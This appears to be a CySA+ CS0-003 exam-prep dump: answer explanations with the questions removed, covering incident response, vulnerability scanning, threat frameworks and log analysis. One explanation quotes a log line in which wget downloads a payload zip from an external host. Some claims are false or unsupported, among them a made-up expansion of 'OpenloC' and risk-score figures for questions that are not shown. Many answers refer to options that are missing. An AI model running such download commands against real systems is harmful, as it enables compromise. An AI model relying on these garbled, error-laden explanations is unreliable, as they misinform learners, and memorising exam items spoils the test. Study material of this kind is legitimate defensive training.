CS0-003 CompTIA CyberSecurity Analyst CySA+ Certification Exam Questions and Answers

The correct answer is A. XML.

STIX and OpenloC are two standards for representing and exchanging cyber threat intelligence (CTI) information. STIX stands for Structured Threat Information Expression and OpenloC stands for Open Location and Identity Coordinates. Both standards use XML as the underlying data format to encode the information in a structured and machine-readable way. XML stands for Extensible Markup Language and it is a widely used standard for defining and exchanging data on the web. XML uses tags, attributes, and elements to describe the structure and meaning of the data. XML is also human-readable, as it uses plain text and follows a hierarchical and nested structure.

XML is not the only format that can be used to make STIX and OpenloC information readable by both humans and machines, but it is the most common and widely supported one. Other formats that can be used include JSON, CSV, or PDF, depending on the use case and the preferences of the information producers and consumers. However, XML has some advantages over other formats, such as:

XML is more expressive and flexible than JSON or CSV, as it can define complex data types, schemas, namespaces, and validation rules.

XML is more standardized and interoperable than PDF, as it can be easily parsed, transformed, validated, and queried by various tools and languages.

XML is more compatible with existing CTI standards and tools than other formats, as it is the basis for STIX 1.x, TAXII 1.x, MAEC, CybOX, OVAL, and others.

Comprehensive and Detailed Step-by-Step Explanation:Remediated incidents is a key performance indicator (KPI) that measures how effectively incidents are resolved and communicated during the incident response lifecycle. It reflects the program's success in mitigating risks and restoring normal operations. Other options (e.g., mean time to detect) are important metrics but do not directly measure reporting or communication effectiveness.

Non-repudiation ensures that a message sender cannot deny the authenticity of their sent message. This is crucial in banking communications for legal and security reasons.

The goal of allowing a message recipient to prove the message's origin is non-repudiation. This ensures that the sender cannot deny the authenticity of their message. Non-repudiation is a fundamental aspect of secure messaging systems, especially in banking and financial communications.

When documenting a physical incident in a network data closet, taking photos provides a clear and immediate record of the situation, which is essential for thorough incident documentation and subsequent investigation.

Proper documentation of an incident in a data closet should include taking photos of the impacted items. This provides visual evidence and helps in understanding the physical context of the incident, which is crucial for a thorough investigation. Backing up configuration files, recording connections, and creating network diagrams, while important, are not the primary means of documenting the physical aspects of an incident.

Thechain of custodyis a documented history that tracks how evidence is handled, collected, transported, and preserved at every stage of the forensic investigation. If a gap exists in the record of who transferred or accessed the evidence, it could call into question the integrity and admissibility of the evidence​.

Validating data integrity (Option A)refers to ensuring that the forensic image is identical to the original data, often using cryptographic hashing, but it does not address procedural gaps in documentation.

Preservation (Option B)involves protecting the original evidence from modification or loss but does not include logging transfers of custody.

Legal hold (Option C)refers to a requirement to preserve data for legal proceedings, which is different from tracking evidence handling​.

Thus, the correct answer isD, as chain of custody directly relates to tracking who had access to the evidence and when​.

Time synchronization is the process of ensuring that all systems in a network have the same accurate time, which is essential for correlating data points from different sources. If the system has an issue with time synchronization, the analyst may have difficulty matching events that occurred at the same time or in a specific order. Access rights, network segmentation, and invalid playbook are not directly related to the issue of correlating data points. Verified References: [CompTIA CySA+ CS0-002 Certification Study Guide], page 23

CVE details and IoCs are information that would most likely be required by the infrastructure team so that vulnerabilities can be remediated quickly. CVE details provide the description, severity, impact, and solution of the vulnerabilities that affect the servers. IoCs are indicators of compromise that help identify and respond to potential threats or attacks on the servers. References: Server and Workstation Patch Management Policy, Section: Policy; Patch Management Policy: Why You Need One in 2024, Section: What is a patch management policy?

Host03 should be patched first, based on the metrics, as it has the highest risk score and the highest number of critical vulnerabilities. The risk score is calculated by multiplying the CVSS score by the exposure factor, which is the percentage of systems that are vulnerable to the exploit. Host03 has a risk score of 10 x 0.9 = 9, which is higher than any other host. Host03 also has 5 critical vulnerabilities, which are the most severe and urgent to fix, as they can allow remote code execution, privilege escalation, or data loss. The other hosts have lower risk scores and lower numbers of critical vulnerabilities, so they can be patched later.

Agent-based vulnerability scanning is a method that uses software agents installed on the target systems to scan for vulnerabilities. This method meets the requirements of the project because it uses minimal network bandwidth and host resources, provides accurate and near real-time updates, and does not require any stored credentials on the scanner. References: What Is Vulnerability Scanning? Types, Tools and Best Practices, Section: Types of vulnerability scanning; CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 4: Security Operations and Monitoring, page 154.

OpenVAS is an open-source tool that performs comprehensive vulnerability scanning and assessment on the network. It can generate reports and evidence of the scan results, which can be used for auditingpurposes. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 5, page 199; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 5, page 207.

A mean time to remediate (MTTR) is a metric that measures how long it takes to fix a vulnerability after it is discovered. A MTTR of 30 days would best protect the organization from the new attacks that are exploited 45 days after a patch is released, as it would ensure that the vulnerabilities are fixed before they are exploited

Phishing attacks arebest mitigated through user education and training. The50% reduction in phishing attemptssuggests a strongawareness programthat improved employee vigilance​.

Option A (Patching)helps prevent exploits but does notdirectly reduce phishing attempts.

Option B (Configuration management)ensures proper system setup but does notaddress phishing prevention.

Option D (Threat modeling)is useful for security planning but does notactively reduce phishing attempts.

Thus,C is the correct answer, asawareness training significantly decreases phishing success rates by educating employees on email-based threats​.

The threat was detected from the time the emails were sent at 8:30 a.m. to when the recipients started alerting the organization’s help desk about the email at 8:45 a.m., taking a total of 15 minutes. The detection time is the time elapsed between the occurrence of an incident and its discovery by the security team . The other options are either too short or too long based on the given information. References: : Detection Time : Incident Response Metrics: Mean Time to Detect and Mean Time to Respond

Agent-based scanning is a method that involves installing software agents on the target systems or networks that can perform local scans and report the results to a central server or console. Agent-based scanning can reduce the access to systems, as the agents do not require any credentials or permissions to scan the local system or network. Agent-based scanning can also provide the most accurate vulnerability scan results, as the agents can scan continuously or on-demand, regardless of the system or network status or location.

The MITRE ATT&CK framework is widely used for tracking and categorizing Tactics, Techniques, and Procedures (TTPs) of adversaries. TTPs help analysts understand the behaviors and methods attackers employ during incidents, making this framework particularly useful in SIEM dashboards for correlating and identifying threats. While the other options (OSSTMM, Diamond Model, OWASP) offer various security methodologies, MITRE ATT&CK is specifically focused on documenting adversary behaviors, making it the best fit here. CompTIA CySA+ often emphasizes MITRE ATT&CK for mapping and understanding threat behaviors in incident response.

tcpdump is a command-line tool that can capture and analyze network packets from a given interface or file. The -n option prevents tcpdump from resolving hostnames, which can speed up the analysis. The -r option reads packets from a file, in this case packets.pcap. The host [IP address] filter specifies that tcpdump should only display packets that have the given IP address as either the source or thedestination. This command can help the security analyst detect connections to a suspicious IP address by collecting the packet captures from the gateway. Official References:

https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives

https://www.techtarget.com/searchsecurity/quiz/Sample-CompTIA-CySA-test-questions-with-answers

https://www.reddit.com/r/CompTIA/comments/tmxx84/passed_cysa_heres_my_experience_and_how_i_studied/

ThePHP script allows remote users to execute system commands via the system() function, meaning an attacker can send arbitrary commands to the server​.

Option A (Cross-site scripting - XSS)is incorrect because this script does not inject JavaScript into a webpage.

Option B (Reverse shell)is possible if an attacker sends a crafted command, but the script itself is more of a general backdoor than a dedicated reverse shell.

Option D (Logic bomb)is incorrect because a logic bomb is typicallytriggered by a specific event or daterather than executing arbitrary commands on demand.

Thus,C (Backdoor attempt) is the best answer, as this scriptgrants unauthorized remote command execution.

Improving employee training and awareness is the best option to address the issue of sensitive reports being disclosed via file sharing services. By educating employees about the risks of unapproved file sharing, the security protocols to follow, and the proper channels to use for sharing company information, an organization can significantly reduce the risk of sensitive data being accidentally or intentionally shared on insecure platforms. This human-centric approach addresses the root cause of the problem. Options A, C, and D are security controls that do not directly address the behavior of sharing sensitive files on unauthorized services.

The most likely vulnerability in this system is hard-coded credential. Hard-coded credential is a practice of embedding or storing a username, password, or other sensitive information in the source code or configuration file of a system or application. Hard-coded credential can pose a serious security risk, as it can expose the system or application to unauthorized access, data theft, or compromise if the credential is discovered or leaked by an attacker. Hard-coded credential can also make it difficult to change or update the credential if needed, as it may require modifying the code or file and redeploying the system or application. 

According to the CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition1, the best technique to provide the necessary assurance for embedded software that drives centrifugal pumps at a power plant is formal methods. Formal methods are a rigorous and mathematical approach to software development and verification, which can ensure the correctness and reliability of critical software systems. Formal methods can be used to specify, design, implement, and verify embedded software using formal languages, logics, and tools1.

Containerization, manual code reviews, and static and dynamic analysis are also useful techniques for software assurance, but they are not as rigorous or comprehensive as formal methods. Containerizationis a method of isolating and packaging software applications with their dependencies, which can improve security, portability, and scalability. Manual code reviews are a process of examining the source code of a software program by human reviewers, which can help identify errors, vulnerabilities, and compliance issues. Static and dynamic analysis are techniques of testing and evaluating software without executing it (static) or while executing it (dynamic), which can help detect bugs, defects, and performance issues1.

Comprehensive and Detailed Step-by-Step Explanation:The logs indicate that the OWASP DirBuster tool is being used. This tool is designed for directory brute-forcing to find hidden files or directories on a web server, which aligns with reconnaissance activities. The series of GET and HEAD requests further confirm directory and file enumeration attempts.

Researching federal laws, regulatory compliance requirements, and organizational policies to document specific reporting SLAs is the best action to address the reporting issue. Reporting SLAs are service level agreements that specify the time frame and the format for notifying the relevant authorities and the affected individuals of a data breach. Reporting SLAs may vary depending on the type and severity of the breach, the type and location of the data, the industry and jurisdiction of the organization, and the internal policies of the organization. By researching and documenting the reporting SLAs for different scenarios, the organization can ensure that it complies with the legal and ethical obligations of data breach notification, and avoid any penalties, fines, or lawsuits that may result from failing to report a breach in a timely and appropriate manner12. References: When and how to report a breach: Data breach reporting best practices, Incident and Breach Management

The output shows that the web application has a cross-origin resource sharing (CORS) header that allows any origin to access its resources. This is a security misconfiguration that could allow malicious websites to make requests to the web application on behalf of the user and access sensitive data or perform unauthorized actions. The tuning recommendation is to configure the Access-Control-Allow-Origin header to only allow authorized domains that need to access the web application’s resources. This would prevent unauthorized cross-origin requests and reduce the risk of cross-site request forgery (CSRF) attacks.

A risk register typically contains details like ID, name, description, classification of information, and responsible party. It’s used for tracking identified risks and managing them.Recording details like ID, Name, Description, Classification of information, and Responsible party is typically done in a Risk Register. This document is used to identify, assess, manage, and monitor risks within an organization. It's not directly related to incident response or change control documentation.

Implementing segmentation with ACLs is the best solution to secure the network. Segmentation is the process of dividing a network into smaller subnetworks, or segments, based on criteria such as function, location, or security level. Segmentation can help improve the network performance, scalability, and manageability, as well as enhance the network security by isolating the sensitive or critical data and systems from the rest of the network. ACLs are Access Control Lists, which are rules or policies that specify which users, devices, or applications can access a network segment or resource, and which actions they can perform. ACLs can help enforce the principle of least privilege, and prevent unauthorized or malicious access to the network segments or resources12. Configuring logging and monitoring to the SIEM, deploying MFA to cloud storage locations, and rolling out an IDS are all good security practices, but they are not the best solution to secure the network. Logging and monitoring tothe SIEM can help detect and analyze the network events and incidents, but they do not prevent them. MFA can help authenticate the users who access the cloud storage locations, but it does not protect the network from attacks or breaches. IDS can help identify and alert the network intrusions, but it does not block them34 . References: Network Segmentation: What It Is and How to Do It Right, What is an Access Control List (ACL)? | IBM, What is SIEM? | Microsoft Security, What is Multifactor Authentication (MFA)? | Duo Security, [What is an Intrusion Detection System (IDS)? | IBM]

SLA (Service Level Agreement) is the best term to describe the document that defines the expectation to network customers that patching will only occur between 2:00 a.m. and 4:00 a.m., as it reflects the agreement between a service provider and a customer that specifies the services, quality, availability, and responsibilities that are agreed upon. An SLA is a common type of document that is used in various industries and contexts, such as IT, telecom, cloud computing, or outsourcing. An SLA typically includes metrics and indicators to measure the performance and quality of the service, such as uptime, response time, or resolution time. An SLA also defines the consequences or remedies for any breaches or failures of the service, such as penalties, refunds, or credits. An SLA can help to manage customer expectations, formalize communication, improve productivity, and strengthen relationships. The other terms are not as accurate as SLA, as they describe different types of documents or concepts. LOI (Letter of Intent) is a document that outlines the main terms and conditions of a proposed agreement between two or more parties, before a formal contract is signed. An LOI is usually non-binding and expresses the intention or interest of the parties to enter into a future agreement. An LOI can help to clarify the key points of a deal, facilitate negotiations, or demonstrate commitment. MOU (Memorandum of Understanding) is a document that describes a mutual agreement or cooperation between two or more parties, without creating any legal obligations or commitments. An MOU is usually more formal than an LOI, but less formal than a contract. An MOU can help to establish a common ground, define roles and responsibilities, or outline expectations and goals. KPI (Key Performance Indicator) is a concept that refers to a measurable value that demonstrates how effectively an organization or individual is achieving its key objectives or goals. A KPI is usually quantifiable andspecific, such as revenue growth, customer satisfaction, or employee retention. A KPI can help to track progress, evaluate performance, or identify areas for improvement.

The shell script function that could help identify possible network addresses from different source networks belonging to the same company and region is:

function y() { dig $(dig -x $1 | grep PTR | tail -n 1 | awk -F ”.in-addr” ’{print $1}’).origin.asn.cymru.com TXT +short }

This function takes an IP address as an argument and performs two DNS lookups using the dig command. The first lookup uses the -x option to perform a reverse DNS lookup and get the hostname associated with the IP address. The second lookup uses the origin.asn.cymru.com domain to get the autonomous system number (ASN) and other information related to the IP address, such as the country code, registry, or allocation date. The function then prints the IP address and the ASN information, which can help identify any network addresses that belong to the same ASN or region

Testing is a crucial step in any change management process, as it ensures that the change is compatible with the existing systems and does not cause any errors or disruptions. In this case, the change management team failed to test the email client patch on Windows 11 devices, which resulted in a widespread issue for the users. Testing would have revealed the problem before the patch was deployed, and allowed the team to fix it or postpone the change.

To mitigate brute-force attacks, implementing an account lockout policy (C) prevents continuous attempts by locking the account after a set number of failed logins. Blocking inbound connections on TCP port 3389 (RDP) from untrusted IP addresses (F) limits access, reducing the attack surface. According to CompTIA Security+, these controls effectively prevent unauthorized access. While blocking specific IPs (D) or disabling RDP (E) can also help, the lockout and firewall rules provide broader, proactive protection against this attack type.

Business process interruption is the inhibitor to remediation that this scenario illustrates. Business process interruption is when the remediation of a vulnerability or an incident requires the disruption or suspension of a critical or essential business process, such as the point-of-sale application. This can cause operational, financial, or reputational losses for the organization, and may outweigh the benefits of the remediation. Therefore, the organization may decide to postpone or avoid the remediation until a more convenient time, such as a change freeze window, which is a period of time when no changes are allowed to the IT environment12. Service-level agreement, degrading functionality, and proprietary system are other possible inhibitors to remediation, but they are not relevant to this scenario. Service-level agreement is when the remediation of a vulnerability or an incident violates or affects the contractual obligations or expectations of the service provider or the customer. Degrading functionality is when the remediation of a vulnerability or an incident reduces or impairs the performance or usability of a system or an application. Proprietary system is when the remediation of a vulnerability or an incident involves a system or an application that is owned or controlled by a third party, and the organization has limited or no access or authority to modify it3. References: Inhibitors to Remediation — SOC Ops Simplified, Remediation Inhibitors - CompTIA CySA+, Information security Vulnerability Management Report (Remediation…

ABusiness Impact Analysis (BIA)is the correct document thatidentifies critical servicesand definesRecovery Point Objectives (RPOs)andRecovery Time Objectives (RTOs). It helps organizations determine the impact of downtime and the maximum tolerable outages for business functions.

Disaster recovery plan (A)uses the information from the BIA.

Playbooks (C)are tactical and focus on specific incidents.

Backup plans (D)support BIA but don't define RPO/RTO themselves.

This log shows multiple 404 errors being triggered from requests to different directories or paths, which strongly suggests adirectory brute-force attack. In this type of attack, an adversary uses automated tools to enumerate directory or file paths in an attempt to find hidden or misconfigured resources. The frequent 404 “Not Found” HTTP responses from a single IP address attempting to access different URL paths is the signature pattern for directory brute-forcing. This behavior is not consistent with XSS, SQLi, or RCE, which would involve payloads or specific encoded commands, not merely probing paths.

In this scenario, the security analyst is presented with multiple vulnerabilities, including a critical zero-day vulnerability affecting the web server with a CVSS score of 10. The CVSS (Common Vulnerability Scoring System) provides a standardized method for rating IT vulnerabilities, with a score of 10 indicating the highest severity.

Option A:Contact the web systems administrator and request that they shut down the asset.

Correct Choice:Given the critical nature of a zero-day vulnerability with a CVSS score of 10, immediate action is warranted to prevent potential exploitation. Shutting down the affected web server reduces the attack surface and mitigates the risk until a patch or workaround is available. This aligns with incident response best practices, where containment is a priority to prevent further damage.

Option B:Monitor the patch releases for all items and escalate patching to the appropriate team.

Incorrect Choice:While monitoring for patches is essential, it is a reactive approach. In the case of a zero-day vulnerability with active exploitation potential, waiting for a patch without implementing immediate protective measures exposes the organization to significant risk.

Option C:Run the vulnerability scan again to verify the presence of the critical finding and the zero-day vulnerability in the environment.

Incorrect Choice:Re-scanning may confirm the vulnerability's presence but does not address the immediate threat. Action to mitigate the risk should take precedence over verification, especially when the vulnerability is known and critical.

Option D:Forward the advisory to the web security team and initiate the prioritization strategy for the other vulnerabilities.

Incorrect Choice:Communicating with the web security team is important; however, in the face of a critical zero-day vulnerability, immediate action (such as shutting down the affected asset) is necessary before addressing other vulnerabilities.

Generating a hash value and making a backup image is the best method to ensure the data on the device is not modified, as it creates a verifiable copy of the original data that can be used for forensic analysis. Encrypting the device, protecting it with a password, or performing a memory scan dump do not prevent the data from being altered or deleted. Verified References: CompTIA CySA+ CS0-002 Certification Study Guide, page 3291

Fuzzing is a testing technique where invalid or random data is inputted into a system to find vulnerabilities, crashes, or unexpected behaviors. It’s commonly used in software security to identify flaws that could lead to security breaches. According to CompTIA’s CySA+ curriculum, fuzzing is a dynamic testing method for exposing application weaknesses. Options like static testing (B) involve analyzing code without execution, while reverse engineering (A) and debugging (D) involve different methodologies for understanding or fixing code, not intentionally stressing it.

Data masking is a technique that replaces sensitive data with fictitious or anonymized data, while preserving the original format and structure of the data. This way, the data can be used for testing purposes without revealing the actual Pll information. Data masking is one of the best practices for data analysis of confidential data1. References: CompTIA CySA+ CS0-003 Certification Study Guide, page 343; Best Practices for Data Analysis of Confidential Data

The security administrator should investigate shtml.exe next, as it is a potential vulnerability that allows remote code execution on the web server. Nikto scan results indicate that the web server is running Apache on Windows, and that the shtml.exe file is accessible in the /scripts/ directory. This file is part of the Server Side Includes (SSI) feature, which allows dynamic content generation on web pages. However, if the SSI feature is not configured properly, it can allow attackers to execute arbitrary commands on the web server by injecting malicious code into the URL or the web page12. Therefore, the security administrator should check the SSI configuration and permissions, and remove or disable the shtml.exe file if it is not needed. References: Nikto-Penetration testing. Introduction, Web application scanning with Nikto

Deploying EDR on the web server and the database server to reduce the adversaries capabilities and using micro segmentation to restrict connectivity to/from the web and database servers are two compensating controls that will help contain the adversary while meeting the other requirements. A compensating control is a security measure that is implemented to mitigate the risk of a vulnerability or an attack when the primary control is not feasible or effective. EDR stands for Endpoint Detection and Response, which is a tool that monitors endpoints for malicious activity and provides automated or manual response capabilities. EDR can help contain the adversary by detecting and blocking their actions, such as data exfiltration, lateral movement, privilege escalation, or command execution. Micro segmentation is a technique that divides a network into smaller segments based on policies and rules, and applies granular access controls to each segment. Micro segmentation can help contain the adversary by isolating the web and database servers from other parts of the network, and limiting the traffic that can flow between them. Official References:

https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives

https://www.comptia.org/certifications/cybersecurity-analyst

https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered

The correct answer is A. Orange team.

An orange team is a team that is involved in facilitation and training of other teams in cybersecurity. An orange team assists the yellow team, which is the management or leadership team that oversees the cybersecurity strategy and governance of an organization. An orange team helps the yellow team to understand the cybersecurity risks and challenges, as well as the roles and responsibilities of other teams, such as the red, blue, and purple teams12.

In this scenario, the analyst is conducting monitoring against an authorized team that will perform adversarial techniques. This means that the analyst is observing and evaluating the performance of another team that is simulating real-world attacks against the organization’s systems or networks. This could be either a red team or a purple team, depending on whether they are working independently or collaboratively with the defensive team345.

The analyst interacts with the team twice per day to set the stage for the techniques to be used. This means that the analyst is providing guidance and feedback to the team on how to conduct their testing and what techniques to use. This could also involve setting up scenarios, objectives, rules of engagement, and success criteria for the testing. This implies that the analyst is facilitating and training the team to improve their skills and capabilities in cybersecurity12.

Therefore, based on these descriptions, the analyst is a member of an orange team, which is involved in facilitation and training of other teams in cybersecurity.

The other options are incorrect because they do not match the role and function of the analyst in this scenario.

Option B is incorrect because a blue team is a defensive security team that monitors and protects the organization’s systems and networks from real or simulated attacks. A blue team does not conduct monitoring against an authorized team that will perform adversarial techniques, but rather defends against them345.

Option C is incorrect because a red team is an offensive security team that discovers and exploits vulnerabilities in the organization’s systems or networks by simulating real-world attacks. A red team does not conduct monitoring against an authorized team that will perform adversarial techniques, but rather performs them345.

Option D is incorrect because a purple team is not a separate security team, but rather a collaborative approach between the red and blue teams to improve the organization’s overall security. A purple team does not conduct monitoring against an authorized team that will perform adversarial techniques, but rather works with them345.

The described behavior(pivoting across network segments, targeting domain servers, and exfiltrating data to an unknown location)is characteristic of anadvanced persistent threat (APT), often linked tonation-state actors​.

Option A (Hacktivist)attackers typically engage indefacements or disruptionrather thanstealthy exfiltration.

Option B (Zombie)refers tocompromised hosts in a botnet, but botnets do not usually pivot across networks.

Option C (Insider threat)could involve unauthorized access, but the traffic pattern suggests anexternalattacker withlateral movementtechniques.

Thus,D is the correct answer, asnation-state actors often use sophisticated tactics, including data exfiltration and network pivoting​.

TheDiamond Model of Intrusion Analysisconsists offour core attributes:

Adversary– The threat actor behind the attack.

Capability– The tools and techniques used.

Infrastructure– The systems used by the adversary (e.g., botnets, C2 servers).

Victim– The target of the attack​.

Option A (Delivery)andOption B (Weaponization)are part of theCyber Kill Chain, not the Diamond Model.

Option C (Command and control)is an attack phase butnot a core attribute of the Diamond Model.

Option D (Capability) is correct, as it represents the tools and attack methods used by adversaries.

Thus,D is the correct answer.

A sandbox environment is a safe and isolated way to analyze malware without affecting the organization’s network. An online service can provide a sandbox environment without requiring the security analyst to set up a virtual host or use an RDP session. Disconnecting and using an existing infected asset is risky and may not provide accurate results. References: Malware Analysis: Steps & Examples, Dynamic Analysis

The formal incident declaration is crucial to identify and document the staff who have the authority to declare an incident, ensuring that incidents are handled by authorized personnel. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 5: Incident Response, page 197.

The Diamond Model of Intrusion Analysis is a framework that helps analysts to understand the relationships between the adversary, the victim, the infrastructure, and the capability involved in an attack. It also enables analytical pivoting, which is the process of moving from one piece of information to another related one, and identifies knowledge gaps that need further investigation. 

The best control to allow the organization to identify rogue devices more quickly is A. Implement a continuous monitoring policy. A continuous monitoring policy is a set of procedures and tools that enable an organization to detect and respond to unauthorized or anomalous activities on its network in real time or near real time. A continuous monitoring policy can help identify rogue access points as soon as they appear on the network, rather than waiting for quarterly or monthly scans. A continuous monitoring policy can also help improve the overall security posture and compliance of the organization by providing timely and accurate information about its network assets, vulnerabilities, threats, and incidents1.

The log output indicates an attempt to execute a command via an unsecured service account, specifically using a wget command to download a file from an external source. This suggests that the adversary is trying to exploit a vulnerability in the web server to run unauthorized commands, which is a common technique for gaining a foothold or further compromising the system. The presence of wget http://grohl.ve.da/tmp/brkgtr.zip indicates an attempt to download and possibly execute a malicious payload.

This answer matches the description of the zero-day threat. The attack vector is network (AV:N), the attack complexity is low (AC:L), no privileges are required (PR:N), no user interaction is required (UI:N), the scope is unchanged (S:U), the confidentiality and integrity impacts are high (C:H/I:H), and the availability impact is low (A:L). Official References: https://nvd.nist.gov/vuln-metrics/cvss

The best option to safeguard PII during an incident is to ensure permissions are limited in the investigation team and encrypt the data. This is because limiting permissions reduces the risk of unauthorized access or leakage of sensitive data, and encryption protects the data from being read or modified by anyone who does not have the decryption key. Option A is not correct because closing the data may hinder the investigation process and prevent collaboration with other parties who may need access to the data. Option C is not correct because deleting data that is no longer needed may violate legal or regulatory requirements for data retention, and may also destroy potential evidence for the incident. Option D is not correct because opening permissions to the company may expose the data to more people than necessary, increasing the risk of compromise or misuse.

The most likely reason to include lessons learned in an after-action report is to identify areas of improvement in the incident response process. The lessons learned process is a way of reviewing and evaluating the incident response activities and outcomes, as well as identifying and documenting any strengths, weaknesses, gaps, or best practices. Identifying areas of improvement in the incident response process can help enhance the security posture, readiness, or capability of the organization for future incidents, as well as provide feedback or recommendations on how to address any issues or challenges.

Mean time to detect (MTTD) is a metric that measures how quickly an organization can identify a security incident or a malicious actor in the environment. Reducing MTTD can improve visibility and reporting of threats, as well as prevent lateral movement and data exfiltration by detecting them sooner.

Attack simulationsproviderealistic, hands-on scenariosthat mirror true incidents, allowing SOC analysts topractice detection, analysis, and response skillsunder real-world pressure. These simulations are crucial for developing and reinforcing SOC procedures and incident workflows.

Phishing assessments (A)are targeted, limited training.

OpenVAS (B)is a vulnerability scanner, not a training tool.

SOAR (D)is a response automation tool.

Honeypots (E)help observe attacker behavior, but aren't training-focused.

????Reference:

CS0-003 Objectives 3.3 – Incident Response Training

Mya Heath All-in-One – Chapter 14: Post-Incident Activities and Training

A Secure Software Development Life Cycle (SDLC) integrates security measures at each stage of development to reduce vulnerabilities and improve the overall security of the software. This is essential for minimizing risks related to software usage and ensuring compliance with regulatory requirements, which is particularly important for organizations handling sensitive data. As per CompTIA standards, a Secure SDLC helps prevent security breaches and protects both the organization and its users from potential harm. Options A, C, and D do not accurately describe the primary goals of a Secure SDLC, which primarily centers on risk reduction and regulatory compliance.

Implementing input validation is the best way to mitigate the buffer overflow vulnerability at the application level. Input validation is a technique that checks the data entered by users or attackers against a set of rules or constraints, such as data type, length, format, or range. Input validation can prevent common web application attacks such as SQL injection, cross-site scripting (XSS), or command injection, which exploit the lack of input validation to execute malicious code or commands on the server or the client side. By validating the input before allowing submission, the web application can reject or sanitize any malicious or unexpected input, and protect the application from being compromised12. References: How to detect, prevent, and mitigate buffer overflow attacks - Synopsys, How to mitigate buffer overflow vulnerabilities | Infosec

The correct answer is A. Address space layout randomization.

Address space layout randomization (ASLR) is a security control that randomizes the memory address space of a process, making it harder for an attacker to exploit memory-based vulnerabilities, such as buffer overflows1. ASLR can also prevent a security analyst from finding the proper memory address of a piece of malicious code, as the memory address changes every time the process runs2.

The other options are not the best explanations for why the memory address changes every time the process runs. Data execution prevention (B) is a security control that prevents code from being executed in certain memory regions, such as the stack or the heap3. Stack canary © is a security technique that places a random value on the stack before a function’s return address, to detect and prevent stack buffer overflows. Code obfuscation (D) is a technique that modifies the source code or binary of a program to make it more difficult to understand or reverse engineer. These techniques do not affect the memory address space of a process, but rather the execution or analysis of the code.

An incident manager should work with the legal and public relations entities to ensure correct processes are adhered to when communicating incident reporting to the general public, as a best practice. The legal entity can provide guidance on the legal implications and obligations of disclosing the incident, such as compliance with data protection laws, contractual obligations, and liability issues. The public relations entity can help craft the appropriate message and tone for the public communication, as well as manage the reputation and image of the organization in the aftermath of the incident. These two entities can help the incident manager balance the need for transparency and accountability with the need for confidentiality and security12. References: Incident Communication Templates, Incident Management: Processes, Best Practices & Tools - Atlassian

The next step in the remediation process after applying a software patch is validation. Validation is a process that involves verifying that the patch has been successfully applied, that it has fixed the vulnerability, and that it has not caused any adverse effects on the system or application functionality or performance. Validation can be done using various methods, such as scanning, testing, monitoring, or auditing.

 XSS (cross-site scripting) is the vulnerability type that the security analyst is validating, as the snippet shows an attempt to inject a script tag into the web application. XSS is a web security vulnerability that allows an attacker to execute arbitrary JavaScript code in the browser of another user who visits the vulnerable website. XSS can be used to perform various malicious actions, such as stealing cookies, session hijacking, phishing, or defacing websites. The other vulnerability types are not relevant to the snippet, as they involve different kinds of attacks. Directory traversal is an attack that allows an attacker to access files and directories that are outside of the web root folder. XXE (XML external entity) injection is an attack that allows an attacker to interfere with an application’s processing of XML data, and potentially access files or systems. SSRF (server-side request forgery) is an attack that allows an attacker to induce the server-side application to make requests to an unintended location. Official References:

https://portswigger.net/web-security/xxe

https://portswigger.net/web-security/ssrf

https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html

Before taking any action, the SOC analyst should first verify if the Indicators of Compromise (IoC) and Tactics, Techniques, and Procedures (TTPs) reported are relevant to the organization’s environment. This involves checking if the vulnerable application or version is actually in use. As per CompTIA’s CySA+ guidelines, relevance verification helps in prioritizing resources and response actionseffectively, ensuring that time is not wasted on threats that do not impact the organization. Options A, B, and D are important subsequent steps if the threat is deemed relevant.

USB ports are a common attack vector that can be used to deliver malware, steal data, or compromise systems. The first step to mitigate this vulnerability is to check the configurations of the company assets and disable or restrict the USB ports if possible. This will prevent unauthorized devices from being connected and reduce the attack surface. The other options are also important, but they are not the first priority in this scenario.

The output shows the result of running the ssl-enum-ciphers script with Nmap, which is a tool that can scan web servers for supported SSL/TLS cipher suites. Cipher suites are combinations of cryptographic algorithms that are used to establish secure communication between a client and a server. The output shows the cipher suites that are supported by the server, along with a letter grade (A through F) indicating the strength of the connection. The output also shows the least strength, which is the strength of the weakest cipher offered by the server. In this case, the least strength is F, which means that the server is allowing insecure cipher suites that are vulnerable to attacks or have been deprecated. For example, the output shows that the server supports SSLv3, which is an outdated and insecure protocol that is susceptible to the POODLE attack. The output also shows that the server supports RC4, which is a weak and broken stream cipher that should not be used. Therefore, the best description of the output is that the host is allowing insecure cipher suites. The other descriptions are not accurate, as they do not reflect what the output shows. The host is not up or responding is incorrect, as the output clearly shows that the host is up and responding to the scan. The host is running excessive cipher suites is incorrect, as the output does not indicate how many cipher suites the host is running, only which ones it supports. The Secure Shell port on this host is closed is incorrect, as the output does not show anything about port 22, which is the default port for Secure Shell (SSH). The output only shows information about port 443, which is the default port for HTTPS.

A lessons-learned review is a process of evaluating the effectiveness and efficiency of the incident response plan after an incident or an exercise. The purpose of the review is to identify the strengths and weaknesses of the incident response plan, and to update it accordingly to improve the future performance and resilience of the organization. Therefore, the incident response plan should be updated after a lessons-learned review.

Rolling out a CDN is the best control to mitigate the Layer 4 DDoS attacks against the company website. A CDN is a Content Delivery Network, which is a system of distributed servers that deliver web content to users based on their geographic location, the origin of the web page, and the content delivery server. A CDN can help protect against Layer 4 DDoS attacks, which are volumetric attacks that aim to exhaust the network bandwidth or resources of the target website by sending a large amount of traffic, such as SYN floods, UDP floods, or ICMP floods. A CDN can mitigate these attacks by distributing the traffic across multiple servers, caching the web content closer to the users, filtering out malicious or unwanted traffic, and providing scalability and redundancy for the website12. References: How to Stop a DDoS Attack: Mitigation Steps for Each OSI Layer, Application layer DDoS attack | Cloudflare

